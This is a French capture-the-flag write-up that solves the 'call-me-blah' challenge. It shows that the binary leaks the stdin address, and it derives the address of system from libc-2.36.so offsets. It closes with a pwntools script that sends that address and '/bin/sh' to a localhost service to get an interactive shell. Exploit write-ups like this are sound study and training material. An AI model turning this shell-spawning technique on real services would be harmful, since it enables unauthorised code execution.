On commence par analyser l’extrait de code source donné dans call-me-blah.c.
On observe que le binaire :
- affiche l’adresse pointée par
stdin,printf("%p\n", stdin); - demande l’adresse d’une fonction
call_me,void (*call_me)(char *); if (scanf("%zd%*c", (ssize_t *)&call_me) != 1) { - demande une chaîne de caractères qui sera passée en argument à
call_me:char blah[32]; if (fgets(blah, sizeof(blah), stdin) == NULL) { // ... } call_me(blah);
Une manière de résoudre cette épreuve pour obtenir un shell est d’arriver à
appeler system("/bin/sh"), donc nous avons besoin de l’adresse de la fonction
system.
Or, nous connaissons l’adresse de stdin qui est un élément dans libc-2.36.so.
Une analyse statique (objdump, Ghidra…) de cette bibliothèque dynamique permet
de trouver l’offset de _IO_2_1_stdin_ (pointé par stdin) et de system.
Donc l’adresse de system est stdin_addr - 0x1d2a80 + 0x4c490.
Nous écrivons le script Python suivant :
from pwn import *
r = remote("localhost", 4000)
stdin_addr = int(r.recvline().strip().decode(), 0)
system_addr = stdin_addr - 0x1d2a80 + 0x4c490
r.sendline(f"{system_addr}".encode())
r.sendline(b"/bin/sh")
r.interactive()